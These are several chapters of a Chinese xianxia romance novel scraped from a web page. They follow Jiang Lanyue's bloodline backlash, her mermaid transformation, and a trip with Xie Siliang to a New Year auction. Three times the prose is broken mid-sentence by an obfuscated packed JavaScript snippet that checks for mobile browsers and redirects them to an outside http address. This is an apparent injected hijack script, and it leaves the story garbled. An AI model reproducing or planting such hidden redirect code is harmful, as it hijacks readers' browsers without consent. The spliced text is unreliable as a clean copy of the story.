“不是，是因为谢思量是冰雪道，他将自己的冰雪境外化了，所以那里才会下雪。” “哦，怪不得，那他的冰雪境也太强了吧，居然能覆盖那么大一块区域。” “谁说不是呢。”妙音长老道，“他尚未修仙之时便能将一个王宫用冰雪境覆盖，何况如今他的修为已经到了化神，你啊，不能小瞧冰雪境的实力，尤其是他这个阶段的了。” “知道了，师尊，徒儿一定会努力修炼的。”姜揽月道，“不过，谢思量之前在王宫吗？” 她忽地有些好奇，来昆仑之前的谢思量是什么样子的？他小时候也像现在这样不苟言笑吗？ “嗯，听师兄说是在王宫发现他的，想来应该是人间的王族子弟吧。”妙音长老看着面前的少女，笑道，“你若是好奇，不妨亲自去问他，我们不过都是道听途说罢了，他自己不可能和我们说这些事情。” 姜揽月没有言语。 妙音长老笑了：“。对了，我前几日听见你弹《长相思》了，再弹给我听听。” 姜揽月拿出太华：“那师尊和我一起吧。” 妙音长老：“每次都是我俩一起，下次让卿尘也一起，我们师徒三一个合奏。” “好啊，下次喊宋师兄一起。” 从宫商阁出来后，姜揽月去了悬壶峰，今日她和白晴雨约好了一起去看花，顺便也去摘点药。 看着少女稳稳当当地站在一把细剑之上，白晴雨道：“天哪，你御剑已经这么稳了。” 姜揽月从剑上跳下：“嘿嘿，我已经练了好几个月了。” “什么时候用剑和我比试比试？”白晴雨道。 姜揽月：“那还要过一些时日，我如今的剑术水平仅限御剑和握剑，距离和人比试还差的远呢。再说，我每日用太华和你比试，你不满足吗？你不满足我的太华吗？太华若是知道可会是伤心的。” 白晴雨：“满足满足，我这不是希望你更厉害一些吗？对了，青云盛会你想去吗？” “想，我前几天还在和我师尊讨论这件事情。” “唉，我希望这段时日我们都能升到化神，金丹期参加的胜算还是弱了些。” “那我们就多抓紧时间修炼。” “嗯，走吧，去看看有什么好看的花。” 悬壶峰，由于这个峰上全是医修和药修，所以和其他几个峰风格截然不同。不仅气候温暖如春，而且各种各样的花花草草也令人目不暇接，相应地，鸟兽，蝴蝶在花丛中飞舞，鸟儿在枝头唱歌，让人以为不小心误入了某个花园。 姜揽月道：“我们可得小心，听医修道友说，这里有很多药草都是有毒的，我们一定不能随便乱采。” “好，我们就采我们认识的就好了。” 白晴雨看向身边的姜揽月，少女肌肤玉白，面若芙蓉，她摘下一朵雪白的茉莉花。 “揽月，我可以帮你簪花吗？” “当然可以啊。” 姜揽月微微低下头，白晴雨将手中的茉莉簪到其耳边。在茉莉的衬托下，少女的气质更显冰肌玉骨。 “那我也来帮你簪花吧。”姜揽月道。 “好啊。” “让我看看什么适合你。”姜揽月环顾了四周，各种花朵争奇斗艳。最后，她弯下腰，摘下了一朵鹅黄色的蔷薇，“我觉得这朵蔷薇花很适合你。” “谢谢揽月。” 二人一起簪好花后，姜揽月看到了前方一大片绣球花，随风轻轻摇曳，如同一片海洋，透着幽幽的光泽。 “晴雨，我想采一些绣球花，你可以不用等我，若是有事的话就先回去吧。” “采绣球做什么？” “房间太单调了，想装饰一下。” “行，那我先走了，和同门师兄约好了试炼场见。” “好。” * 夜晚，一轮明月静静地悬挂在夜幕之中。月光流泻，洒在院落中的青石板上，如同铺上了一层白纱。 玉霄殿，姜揽月找了一个白瓷花瓶，将自己今日的采摘的绣球花放了进去。玉霄殿太单调了，她刚来那会就想把这里装饰一下，没想到一直拖到了现在。 蓝紫色的绣球花簇拥在一起，高低错落，花香馥郁。她深吸一口气，真的好香啊。 将最后一朵绣球插入瓶中后，她忽然感受到了一股彻骨的疼痛。 少女手一抖。 啪嗒！ 清脆声音传来，花瓶碎了，雪白的碎片飞溅，与此同时，绣球花也落了一地，花瓣洒落在流水中。 姜揽月秀眉微蹙。 怎么了？难道是她今日在悬壶峰中了某个草药的毒？ 不对啊，若是中毒不应该早早就发作了吗？ 正想着，忽然又一阵疼痛袭来。少女指节泛白，她终于明白这是什么了，是血脉反噬。 没时间管花瓶了，她连忙拿出几粒止疼丹药，就着水全部吃下。 血脉反噬这次居然提前来了，而且来势汹汹，不知道这几粒止疼药下去能有多少作用。 细细密密的冷汗从姜揽月额头渗出，浑身的灵脉好像都碎了，疼痛传到五脏六腑。她抑制不住地呻吟了一声，把自己弓成了虾的样子，想以此减少一些疼痛。 这个疼痛比她上辈子痛经还要疼几倍，有一瞬间，姜揽月真的想自己不如死了算了。 两种血在经脉中乱窜，每一寸皮肤好像都在火焰中灼烧。 “啊。”她又抑制不住呻吟出声，鬓边的茉莉花也因此掉落。 忽然，她瞳孔皱缩，她感受到自己的双腿正在发生变化，她居然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128044|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化成了鲛人的样子。 少女的汗珠顺着脖颈滴落，面色苍白，这是第一次，第一次因为血脉反噬化出鱼尾，治疗血脉反噬的药得快一点了。 不过，算了，不管了，都疼成这样子了她也不想管了，反正这里没人，不用担心会被人看见，也幸好谢思量如今不在，她可不想被他看到自己如此狼狈的模样。 玉霄殿内，一位女子长长的鱼尾拖在地上，她冷汗涔涔，鬓边的头发全被打湿。 不知过了多久，意识模糊之际，姜揽月忽然看到一个身影，身材颀长，乌发如墨，带着满身的风雪。 她忽然找回了一丝意识，谢思量回来了！ 他怎么会在今日回来？ 两个月已经到了吗？ “你怎么了？” 谢思量刚打开门，便闻到了一股扑面而来的冷香。 青年的声音很轻：“需要我吗？” 月光从窗户中流泻进来，角落处的烛火橘黄。 姜揽月原本因为疼痛而模糊的意识忽然回笼，她难受道：“你不是在七杀结界吗？” “时间结束了，已经轮到下一位长老了。”谢思量道，“你怎么了？” 他忽地俯下身，握住了姜揽月的手，为她输送起灵力。青年微微蹙眉，他没想到刚刚回云雪峰，就“看”到了少女这般模样：“是有人做的吗？” 温和的灵力通过灵脉进入五脏六腑，仿佛心田也被滋润，姜揽月感觉疼痛缓解了很多，本能的驱使下，她想要更多的灵力。 少女往谢思量的怀里扑，嗫嚅道：“血脉反噬，很疼。” 谢思量微微一愣，随后轻轻搂住姜揽月。他忘了，姜揽月的身体和他不一样。指尖触及到冰冷的鳞片，他知道姜揽月现在是人鱼的模样。 “想要热水。”少女的声音很小，但他却能听得清晰。 热水？ 谢思量眸子微垂，他想他应该理解了姜揽月的意思。云雪峰有一处温泉，可以满足姜揽月的要求。 “我带你去温泉处。”青年将姜揽月抱起。 “嗯。” 由于疼痛，姜揽月无力地搂住谢思量的脖颈，她靠在谢思量的胸膛前，吐息温热：“我想回家，我不想在这里，我不想要血脉反噬。” “好，你若是想回家我们就回去看看。”谢思量的声音有些哑。 落花纷纷，热气蒸腾，水汽氤氲，这是云雪峰的一处温泉。 来到温泉处，谢思量将姜揽月放入了水池中。他虽然看不见，但是能感受到水汽。 月光下，青年长发如墨，他雪白的袍子因被温泉浸湿了所以紧紧贴在身上。 谢思量正准备上岸，却被姜揽月用手拉住：“不要走。” 谢思量怔了怔，少女又道：“不要走，陪陪我，我真的好疼。” “好，我不走。” 耳边是少女的呻吟声，谢思量轻轻托住姜揽月，同时依旧在给她输送自己的灵力。 “好疼。”少女在哭，生理性的眼泪根本控制不住。 “疼就咬我吧。” 谢思量将手指塞入姜揽月嘴中，撬开她的牙关，意识模糊之时，姜揽月猛地咬了上去。 手指上尖锐的疼痛传来，但这一瞬间，谢思量感到的却不是疼，而是发自内心的快乐。 他用另一只手将怀中女子的头发往后撩，语气轻柔，好似诱哄：“乖，可以再咬重一些。” 一阵疼痛袭来，姜揽月又猛地咬了上去。指节被狠狠咬住，血肉模糊，谢思量却只感到极痛极乐。 青年的面上浮现出笑意，他之前都不知道，姜揽月能带给他这样的快乐。爱魄正在疯长，无论他怎样割都会长出来。 终于，在这个时候，他明白了自己的无情道是修不了了。 青年吐出了一口血，他感到他的修为迅速归零。谢思量的嘴角勾起了一抹嘲讽的笑，他的无情道还是破了。 月光照进他的眼中，只见谢思量琉璃般的瞳孔里充满了情欲。 他的眼睛恢复了。 34. 蝴蝶（八） 月光如水，温泉中水汽氤氲。周围梨树林立，梨花盛开，风一吹便有雪白的梨花落入池水中。 谢思量紧紧注视着怀中的少女，目光一寸寸地打量着她的面容。 姜揽月肌肤玉白，浓密的睫毛犹如团扇，鼻子小巧，嘴唇是淡淡的胭脂色，两边是蓝色的耳朵，微微透明，闪烁着珍珠般的光泽。 再往下看，少女穿着黛蓝色的月华裙，衣摆下是通体碧蓝色的鱼尾，线条流畅而优雅，像是温泉中潜入了无尽深渊的光影。尾鳍宽大而透明，边缘是浅浅的银色，好似月光洒在海面上的涟漪。 “我的夫人当真风华绝代。”谢思量嗓音微哑。 他又想起薛满说的那句话——“师娘笑的时候像星星，不笑的时候像月亮。” 青年的手指控制不住地抚摸上了姜揽月的眼睛，真想看看这双眼睛睁开是什么模样？当真是笑的时候像星星，不笑的时候像月亮吗？ 只是，这张脸为何和他幻镜中的那张脸长得一样。 是那个女子，是那个对他说“我喜欢的根本不是你”的女子。 青年的凤眼中滑过一丝沉郁，他的一只手还在姜揽月嘴中，另一只手拂过姜揽月的面庞。 他为什么会有那样的幻镜？那个幻镜是未来要发生的事情吗？还是已经发生过的事情？或者是另一个世界发生的事情？谢思量不知道，他只知道，在这个世界，这一辈子，他不会让这种事情发生。 他的手由姜揽月的眼睛滑到了鼻子，再滑到了嘴唇。由于血脉反噬，少女的嘴唇色泽比平时淡了不少，却还是浅浅的蔷薇色，谢思量就这么一直望了许久。 在温泉和谢思量灵力的双重疗愈下，姜揽月感觉没有之前那么疼了，她终于在谢思量怀中沉沉睡去了。 “你说，如果不带你来温泉，是不是还能咬久一点？”谢思量凝望着姜揽月紧闭的双眼，声音低哑。 见少女已经停止了啃咬，他这才拿出自己的手，原本白净的手指变得血肉模糊，牙印和血痕交错。谢思量笑了笑，他细细舔吮着上面的伤口，琉璃般的瞳孔中流淌着灼灼情欲。 这是姜揽月给予他的极痛极乐。 “疼。”尽管姜揽月已经闭上了眼，却还是睡不安稳，少女在睡梦中呻吟。 谢思量伸出手，想轻轻安抚她。但是想到自己这只手的指尖上还有血迹，他施了一个简单的法术，让手指重新变得干净。 随后，他撩起姜揽月的头发，轻轻擦拭着少女的额头。 不知过了多久，久到月亮已经落下，青年的双眼却还是一直盯着怀中的少女，像是要将少女的样貌描摹。 直至天空中透露出一丝晨光，一声清脆的鸟鸣声划破寂静。谢思量这才抱起了怀中的少女，回到了摘星阁。 姜揽月这时候的双腿已经幻化出来，谢思量将她轻轻放于榻上，然后又将被子细细替她盖好。 出来的时候，谢思量注意到了门口的风铃。青年神色一顿，那个幻镜中的房间果然是姜揽月的房间。 * 翌日，姜揽月一睁眼就发现自己居然在榻上，身上还好好盖着被子。 她连忙掀开被子，松了一口气，鱼尾已经变回双腿了。她蹬了蹬腿，腿还是好的。 只是…… 她的大脑宕机一秒，昨晚她突然血脉反噬，然后…… 她好像看到了谢思量？ 难道，是谢思量把她抱回来了？ 想到这里，少女猛然掀开被子，穿上绣鞋，跑下了床。 “谢思量？谢思量？” 没有人应她，谢思量不在？难道她昨晚出幻觉了，谢思量根本没回来？还是谢思量去其他地方了？ 姜揽月按捺下内心的疑问，回到摘星阁，对着镜子把自己的头发梳理了一遍。 一次血脉反噬，让她无论哪个方面都狼狈至极。 就当她梳妆打扮好之后，走出摘星阁，就看到了谢思量。 青年迎着日光，一身白衣，容色如玉，如墨的长发用簪子简单挽起，用的是她之前为他买的玉簪。许久不见，他的气质还是和之前一般，如芝兰玉树，郎艳独绝。 “谢思量，你真的回来了！” “……嗯。”谢思量应道，他抬起眼，少女的眼角都流露出喜悦，看来她已经忘记了昨夜的事情。 他开口：“你的血脉反噬，你自己可知道该如何治疗？” 姜揽月一怔，昨晚果然不是幻觉，是谢思量帮了自己。 “我自己在医书上查过，需要一些草药，我一直在找。” “还差哪些药材？” “还差水心莲和百草露。”姜揽月道，她对自己所需要的药材了如指掌，直接便能说出。 “好。”谢思量道，“你知道昆仑有水心莲吗？” 当然知道了，怎么可能不知道，上辈子就把昆仑的水心莲偷了然后自己也没了。 不过，她得装不知道，因为这件事情除昆仑之外很少有修士知道。 “不知道，”姜揽月做出一副无辜的样子，“昆仑有水心莲吗？我只剩下最后两味药材了。” “嗯，水心莲不用找了，直接拿昆仑的就好。” “太好了！那么便只剩下百草露了！”姜揽月道，她也没想到谢思量居然会直接说把水心莲给她用，少女的嗓音有些犹疑，“昆仑浇灌许久的水心莲我可以直接用吗？” 谢思量回答的很是干脆：“灵草，种出来便是给人用的，难道要将其束之高阁吗？” 姜揽月有些感动，她的眼眶浮现出些许红色，道：“谢谢你，谢思量，你真是太好了。” “无事，这些都是你当时救了我的报答。”谢思量垂下眼睫，说道，“过几日在灵宝阁会举行拍卖会，一般拍卖会中会有一些少见的药材，其中就有可能有百草露，一起去吧。” “拍卖会？” “嗯。” 姜揽月之前只在小说中和手机上见过拍卖会，自己从来没有参加过，于是道：“那是不是需要很多钱？” 谢思量：“……玉霄殿不差钱。” 姜揽月这才反应过来，谢思量的钱就是她的钱，谢思量的钱多着呢，怕什么，一个拍卖场估计都能买下来。 “好，那一起去吧，谢谢仙君！” “无事。” “对了，你们前些日子一起下山了？”谢思量又开口道。 “对的，我们几个一起去给宋师兄庆祝生辰了。” 谢思量垂下眼睫，遮住了眼底的沉郁，“你们，都给宋道友送礼物了吗？” “嗯，我送了一朵芍药。”姜揽月道，“薛满送的是玉佩，晴雨送了一把折扇。” “为何要送芍药？”谢思量的语气中好似有一丝惊讶。 “你也很奇怪是吗？”姜揽月整理着地上的绣球花，不知为何，这绣球花居然一点都没有枯萎，没有灵力和水的滋养，按理说应该已经开始枯萎了才对，不过她没有多想，可能是云雪峰本就灵气充裕所致。 “就是我们上次去清水镇那次，他不是女装了吗？我看他女装挺好看的，而且他自己也挺喜欢的，就送了他一朵芍药，让他平时可以簪花。” “真是用心。” 姜揽月：“嘿嘿，他也是这样说的，而且我觉得他簪上那朵芍药花很是好看，我的眼光真是不错。” “你喜欢男子簪花？”谢思量忽地问出了这么一句话。 姜揽月道：“也没有喜欢不喜欢吧，就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138484|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是喜欢一切好看的，美好的事物啊。我见宋师兄比较适合，便送了，恰好他也挺喜欢的。对了，我觉得你也很适合。” 她摘下一小朵绣球花：“谢思量，你想簪吗？我这里有绣球花。” 谢思量一怔，随后点头：“好。” “行，那你坐着，你太高我簪不了。” 二人来到铜镜前，谢思量坐于木椅之上。掰下来的绣球花很小，姜揽月担心弄坏，小心地将其簪至谢思量鬓边。 少女簪花时眼神专注，睫毛卷曲，簪花之时，二人距离十分相近。贪婪着嗅着姜揽月身上的气息，谢思量的眼中滑过了一丝迷醉。 而姜揽月的注意力则全在手中的绣球花和谢思量的头发上，并未注意到谢思量的眼睛与平时有何不同。 “好啦。”姜揽月看着面前的男子，欣赏道，“我的夫君真是倾国倾城。” 谢思量今日还是穿着白色的袍子，衣服上绘满了咒文，他如墨的头发挽在脑后，鬓边只簪着一朵小小的绣球花，为其如漱冰濯雪般的气质中添了一丝红尘。 姜揽月感慨了一句：“我就说，簪花肯定适合你，好看的人就是怎么打扮都好看啊。” 谢思量的嘴角不自觉地扬了扬。 “咦，谢思量，你的手怎么了？”姜揽月注意到谢思量手上的疤痕，一道又一道，鲜红可怖，在他宛如玉雕一般的手上尤为突出。 她话音刚落，姜揽月就想起了昨晚自己做什么了。 是。她。咬。的。 “不，你不用说了，我想起来了。”姜揽月欲哭无泪。 是她咬的啊！ 她昨晚到底在做什么啊？！怎么把谢思量的手咬成这样了？！她下手真的是没轻没重的。 “谢思量，我现在就去医馆为你拿药。”少女不敢看谢思量的眼睛，昨晚她真是疼糊涂了，谢思量的手她都敢咬，还咬成了这个样子。青天在上，她真的不是故意的。 “你无需在意，是我主动的。”谢思量道。 “可是……” “去准备去灵宝阁所需的东西吧。” “好，但我还是得去为你拿些药膏。” * “谢思量，我回来了。”姜揽月去医馆拿了一瓶祛疤膏，这是她特地去找沈潜要的。 沈潜做事非常有分寸，没有问她拿药做什么。若是真的有人问起来，她也是万万不好意思说出去的。 谢思量神色一怔，没想到姜揽月居然真的给自己拿药了。 “我来给你涂吧。” 谢思量垂下眼睫，遮住了眼底的情绪：“那多谢姑娘了。” 姜揽月：“跟我还客气什么。” 姜揽月拿出膏药，一手拖住谢思量的手，一手为其细细涂抹。伤口本来已经结了疤，涂上药后竟然变得有些痒。 昨夜的感觉又来了，极痛极乐，识海中仿佛有丝丝电流，好想让这个过程再长一点。 “沈师兄说这个药很灵的，基本涂上后几天便可以祛疤了。” “沈师兄？” “就是沈潜师兄啊？你不认识吗？”姜揽月道。 谢思量顿了一秒：“或许认识。” 姜揽月愣住，谢思量不会根本不认识同门吧，于是她解释道：“他是我一个同门师姐的道侣，经常来找我师姐，所以就认识了。” “原来如此。” 涂完药之后，姜揽月拿出白色的绷带，细细为谢思量缠上。缠完绷带后，她熟练地系了个蝴蝶结。反正谢思量看不见，系蝴蝶结也没关系的。 “好了。” 谢思量眨眨眼，只他玉白的手上多了几个飘逸的蝴蝶结，将原本狰狞的伤口遮住。 “姜姑娘有心了。” 35. 百草露（一） 这次的拍卖会在灵玉阁进行。灵玉阁是修仙界最大的灵宝交易所，位于中州。 今夜的中州十分热闹，这里和凡间一样庆祝春节。临近新年，街坊到处张灯结彩，红绸高挂，一片喜气洋洋之景。行人的交谈声，孩童的玩闹声，商贩的吆喝声，共同织成了一张细密的网，将中州罩住。 “没想到中州居然还过年啊。”姜揽月看着这喜庆的装饰，心情也不自觉变好，道：“我好像还是第一次来中州，你呢？” “之前和师尊一起来这里处理过任务。” “这么说，你是不是去过很多地方啊？你每去一个地方除妖，就可以去一个地方游玩，领略当地风情了。” 谢思量：“……没有，在下不如姜姑娘这般好兴致，事情结束了便立马回了昆仑。” 姜揽月“哦”了一声，谢思量眼盲，怎么可能去“领略当地风情”，她真该死啊，到底在乱说什么。 正当姜揽月准备转移话题时，却听谢思量道：“你喜欢出去游玩吗？” “嗯，”一说到这个问题，姜揽月肉眼可见的兴奋起来，眼中流淌着辉光，“我的梦想就是行走江湖，仗剑四方。去各个地方体会风土人情，我可以弹琵琶，每到一个地方就去卖艺挣钱，品尝当地的美食，看当地风景，待够了呢然后再去下一个地方，如此周而复始。” “你无需去街头卖艺挣钱。”谢思量神色认真。 “为何？”姜揽月不解。 谢思量：“玉霄殿的灵石已经足够。” 没想到谢思量居然会这么说，姜揽月笑道：“是吗？那可就多谢仙君了，到时候我钱不够就回来拿。” “嗯。”谢思量的眼中滑过一丝笑意。 街道上人山人海，熙来攘往。二人正说着话，姜揽月忽然发觉有人撞到了自己。 “哎呀。”姜揽月身子一歪，来人身子比她高了许多，体格也更加强壮，否则她作为一个修士，根本不可能被人撞成这样。 “还好吗？”谢思量眼疾手快地扶住了她。 “没事没事，这里人太多了，容易撞到。”姜揽月道。 这时，前面的人终于意识到自己撞到人了。 他回过头，来人戴着一个狰狞的面具，道：“姑娘，对不起。” “算了没事，人太多了。”姜揽月道。 谢思量却双眼微咪，望了望面前的男人。 感受到谢思量不善的视线，那人道：“姑娘，需要我看看吗？” 姜揽月连忙摆手道：“当然不用了，这里人太多了，无需大惊小怪，我真的没事。” “公子，下次走路时要当心些。”谢思量道。 “好的，不好意思了二位。”那人拱手道，“我给你们买些东西赔礼道歉吧。” “不用。”谢思量道。 “唉，那里有冰糖葫芦。”姜揽月道，“我去买一串冰糖葫芦。” 谢思量点头：“嗯，一起去。” 看着两道人影消失在人群中，青年垂下眼睫，刚刚那个女子，长相好似有些眼熟。 “师兄，可算找到你了，这里人太多了，把我们都冲散了。” 青年收起思绪，道：“你抓着我的衣服吧，这样就不容易分开了。” * 看着挤入人群的少女，谢思量站在一旁，他早已熟悉了姜揽月的出门习惯，只是如今亲眼见到才更能感受到姜揽月的鲜活。青年忍不住弯了弯眉眼。 片刻后，少女便风风火火地回来了，她今日穿了一件玉色织锦梅花裙，外搭红色的斗篷，手上拿着一根冰糖葫芦，在人群中很是显眼。 “这里还真的有新年风味，好热闹。” 她将糖葫芦的包装撕开，放到谢思量面前，少女笑意盈盈：“你想吃吗？第一颗给你吃。” “好。” 不想，这次谢思量却没有拒绝。他微微垂下头，发丝倾泻在肩上，竟真的吃起来姜揽月手中的一颗糖葫芦。姜揽月有些惊讶，不过更多的是欣慰，在自己的“言传身教”之下，谢思量终于也开始吃起食物来，而不是一个不吃不喝不睡的人形兵器。 “怎么样，是不是很好吃？” “嗯。”谢思量点头。 等谢思量吃完后，姜揽月便也吃了一颗。 “呸！好酸啊！”少女刚吞入嘴中，随后便将山楂吐出，“怎么这么酸？！” 看到姜揽月的反应，谢思量有些忍俊不禁。 “什么？你不会是骗我的吧？谢思量！你居然骗我？！”姜揽月发现谢思量在笑。 “我本就吃不出味。”谢思量道，“酸，或者是甜，对我而言都是一样的。” 姜揽月狐疑地看了他一眼，随后一想，谢思量说的好像是真的，如果能吃出味的话他就不可能不吃东西了。 “那好吧，相信你了。” “酸就扔了吧，再去买其他吃的。”谢思量道，“这里的小吃挺多的。” “不用，浪费粮食是可耻的。”姜揽月道，她将手中的糖葫芦收起来，“等会吃其他的东西时再拿出来吃，酸的可以用来解腻。” 谢思量眨了眨眼，他第一次知道竟还可以这样，于是道：“依你。” 二人并肩走在街头上，姜揽月看着这满满的烟火气，道：“我想吃饺子，过年是要吃饺子的。” “嗯，那去一家卖饺子的食肆吧。” 二人来到一家人稍微少一些的食肆，要了两大碗饺子。 她道：“幸好我们早来了一天，还能在这里歇会儿，品尝美食，感受年味。” 谢思量端起茶水：“你若是想的话，再歇几天也可以。” “那就有些耽误时间了。”姜揽月道，“我真的恨不得现在就让血脉反噬消失，上次的疼痛我不想再经历了。” 正说着，小二端着两碗饺子上来：“两位客官，你们要的饺子。” “谢谢。”姜揽月道。 碗中的饺子皮儿透亮，隐约可见里面的馅料，热气腾腾，香气四溢。轻轻咬下，内里的汁水立马溢了出来，顺着味蕾进入胃中，实在是美味。 “天哪，太好吃了，此生无憾。”姜揽月吃着碗中的饺子道。 谢思量抬起头，面前的少女看起来很是高兴，她眉眼弯弯，像是一轮明月。 谢思量的嘴角轻轻勾了勾，薛满果然没有说错，姜揽月笑起来的时候眼睛像月亮，不笑的时候眼睛像星星。 他就这样不知看了多久，直到姜揽月注意到谢思量碗中的饺子还没有动过，道：“谢思量，你不吃吗？尝尝饺子吧，很好吃的。” “好，我吃。”谢思量垂下眼睫，手中拿着勺子，吃起了碗中的饺子。 “终于吃饱喝足了。”姜揽月伸了个懒腰。 从食肆出来后，二人找了一家客栈。 小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151407|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二看着面前的二人道：“不好意思了两位仙君，因为最近是中州的新年，再加上马上又要举行拍卖会了，所以来的人很多，现在只剩下一间客房了。” 谢思量闻言看向姜揽月：“要不要换一家？” 姜揽月摇头：“不用，换一家可能也是这样的情况。” 她对两人住一间房并不在意，一则在修仙界这种事情时常发生，很多时候都只能睡野外，男女一起实属常见，二来谢思量是修无情道的，她就更不用担心了，更何况他们俩也不是第一次住一间房。 她看向小二：“就这间了。” 小二满面笑容：“好嘞。” * 客栈里，烛火橘黄，月光透过窗中倾泻进来。 对着房间中唯一的一张床榻，姜揽月道：“谢思量，我们一人一半？” 谢思量：“你睡吧，我不需要。” 姜揽月决定推辞一下：“你真的不用睡吗？” “不用。” “好！”那床就是我一个人的了！ 见目的达到，姜揽月心满意足地滚到了床上。 沐浴后，她只穿着一层薄薄的纱衣，身体上的曲线若隐若现。 谢思量白皙的耳尖漫上了一层薄薄的绯红，他垂下眼睫，黑暗中，他的眼神晦暗不明。 姜揽月缩到被窝里：“谢思量，你说我能买到百草露吗？” “能。”谢思量嗓音微哑。 “可若是这次拍卖会没有怎么办？” “那就去其他铺子买。”青年回答的很是干脆。 姜揽月看着谢思量：“希望如此。” 他刚刚沐完浴，头发上还有未干的潮气，乌发倾泻在肩头，更衬得肌肤玉白。与往常不同的是，谢思量的脸上居然有淡淡的红。 姜揽月一直望着他，最后问道：“谢思量，你是不是很热？” 谢思量抬眼：“为何这样说？” “你的脸有些红。”姜揽月说道，“要不我去把窗户打开吧。” “打开窗户你会冷吗？” “当然不会了，我可是鲛人，之前整天都在冷水中泡着呢。”姜揽月想起上次温泉的事情，“上次是因为血脉反噬所以才需要热水，正常情况下都不用的。” 说着，她就要起身开窗。 谢思量比她先一步动作：“你睡吧，我来就好。” “好，那我就不用下床了。” 看到谢思量已经将窗户打开，姜揽月又缩回了被窝，刚刚她好像看到了谢思量的眼中有一丝情绪，就像前世那样，但如今再看，又恢复平日中的澄净。她眨眨眼，可能看错了吧。 片刻后，耳边便传来了少女的呼吸声。一连几天赶路，姜揽月实在是有点累，少女沉沉进入了梦想。 谢思量走到榻前，只见姜揽月整个人都缩在被子里，只露出一个头出来。 这是谢思量第一次见到姜揽月睡觉，他看着少女毛茸茸的头顶，忍不住伸出手摸了摸。 烛火橘黄，在她乌黑的睫毛在脸上投下了一层长长的阴影。 他的手随即滑到了少女额头之上，旋即是眼睛，然后是鼻尖，再然后是少女艳若桃李的唇。 原来她的唇是这般鲜红，而不是前几日见到的淡淡的胭脂色。 青年就这样望了许久，不知过了多久，他终于收回了手，不过他的眼睛却还是在牢牢盯着姜揽月。 36. 百草露（二） 灵玉阁，今日是举办拍卖会的日子。 这是修仙界中规模最大的的拍卖会，除了来自各地的散修，还汇集了各大修仙世家和门派。 夜幕低垂后，便陆陆续续有人进入灵玉阁了。当然灵玉阁并不是想进就能进的，门口有侍从正在核验，经确认身份无误后才会被放行。 按照财力，灵玉阁将来参与拍卖会的宾客分为两批，分别以白色玉佩和紫色玉佩表示。财力一般的分为一批，这些人会被发放白色玉佩，坐在大厅一楼的环形座椅之上，他们或是散修，或是一些小门小派的弟子，目标多是一些灵宝武器或是灵草灵药。 另一批的则是财力雄厚的宾客，手持紫色玉佩。这类人基本都是修仙界的“大人物”，或是宗派中的长老，或是大家族中的子弟。他们都坐在二楼的雅间中，目标是一些武功秘籍或是难得一见的珍宝。 姜揽月和谢思量两人来的比较早，这时候的人不算很多，很快便轮到他们二位。 侍者打量着面前的二人，男子与女子都是倾城绝色，哪怕是在人均年轻貌美的修仙界，这二位的美貌也实属少见，不过这男子看起来冷冰冰的，他的眼神看向他时好像在审问犯人，侍者垂下眼道：“请问是……” “昆仑宗，谢思量。”谢思量简短道，他拿出一块令牌，递给侍从，然后道，“这是我的道侣。” 姜揽月微微怔住，二人还是第一次在昆仑宗以外的地方说对方是道侣。 “原来是摇光仙君与摇光夫人啊。”侍者看了看谢思量的令牌，他知道面前的青年是上一届青云盛会的魁首，也知道他是迄今为止以最小的年纪化神的天才。不过，他动作一顿，这位大人物不是修无情道的吗？怎么还会有道侣？不过他也知道，这些事情不是他该打听的。 侍者将令牌还给谢思量，然后又递给他一块紫色的玉佩，毕恭毕敬道：“二位仙君，里面请。若是想进雅间的话，请前往二楼，或者让侍者带二位上去。” “多谢。” 距离门口有一段距离后，姜揽月小声嘀咕：“这么严格，不愧是规模最大的拍卖会。” 她打量着脚下白玉做的走廊，以及随处可见的夜明珠，默默感慨，这灵玉阁可真是没少圈钱，这里太富了。 二人正走着，旁边忽然有一人喊道：“摇光仙君，你这次怎么是两个人一起？” 他转头看向姜揽月：“这位妹妹我从前好似没有见过。” 来人穿着青色的衣衫，乌发半束，手中拿着一把绘着山水的折扇。他将折扇轻摇，道：“我听闻摇光仙君和一位凡间女子结为了道侣，想必就是这位姑娘吧。” 谢思量神色不变：“不错，这是我的夫人。” 闻言，姜揽月朝那男子莞尔一笑。在外面，两个人还是要装一下的。 面前的女子穿着白裙，朱唇粉面，脸上笑意盈盈。 “仙君夫人可真是花容月貌，国色天香啊。”那人笑道。 “谢谢。”姜揽月道。 这时，走廊上又一人道：“原来这就是仙尊的道侣啊，早就听闻摇光仙尊在凡间找了位道侣，怎么也不办个道侣盛典请我们一起去看看呢？” 他向二人走来，道：“我听说仙尊的道侣是一位凡人，难道是因为这个原因才不举行盛典吗？” 